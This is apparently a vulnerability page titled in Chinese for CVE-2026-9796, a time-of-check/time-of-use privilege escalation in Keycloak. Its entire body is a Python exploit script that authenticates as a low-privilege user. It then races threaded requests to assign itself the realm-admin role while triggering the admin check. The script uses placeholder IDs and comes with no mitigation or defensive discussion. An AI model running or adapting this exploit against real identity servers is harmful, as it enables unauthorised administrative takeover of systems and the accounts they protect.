CVE-2026-9796 Keycloak TOCTOU权限提升漏洞

import threading import requests # Target configuration TARGET_URL = "https://keycloak.example.com" REALM_NAME = "master" CLIENT_ID = "admin-cli" # Attacker credentials (user with 'manage-clients' role) USERNAME = "attacker" PASSWORD = "password" # Obtain access token auth_data = { "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD, "grant_type": "password" } token_resp = requests.post(f"{TARGET_URL}/realms/{REALM_NAME}/protocol/openid-connect/token", data=auth_data) access_token = token_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Exploit Logic: Race Condition between Check and Use def assign_realm_admin(): """Thread 1: Attempt to assign realm-admin role to the attacker.""" # Endpoint to add composite role (simplified) # The attacker tries to add 'realm-admin' to their own role mappings payload = { "roles": [ {"id": "realm-admin-id", "name": "realm-admin"} ] } # Note: Real exploitation requires specific client/role IDs found via reconnaissance print("[Thread 1] Attempting to assign realm-admin role...") try: r = requests.post(f"{TARGET_URL}/admin/realms/{REALM_NAME}/users/{USER_ID}/role-mappings/realm", json=payload, headers=headers) print(f"[Thread 1] Assignment Status: {r.status_code}") except Exception as e: print(f"[Thread 1] Error: {e}") def trigger_name_check(): """Thread 2: Trigger the admin role check (The Check).""" # This request triggers the logic that checks the admin role name print("[Thread 2] Triggering role name check...") try: r = requests.get(f"{TARGET_URL}/admin/realms/{REALM_NAME}/clients", headers=headers) print(f"[Thread 2] Check Status: {r.status_code}") except Exception as e: print(f"[Thread 2] Error: {e}") if __name__ == "__main__": # USER_ID needs to be gathered first via API calls USER_ID = "attacker-user-id" # Launch threads to exploit the race condition threads = [] for _ in range(10): # Run multiple times to increase success probability t1 = threading.Thread(target=assign_realm_admin) t2 = threading.Thread(target=trigger_name_check) threads.append(t1) threads.append(t2) t1.start() t2.start() for t in threads: t.join() print("Exploit attempt finished.")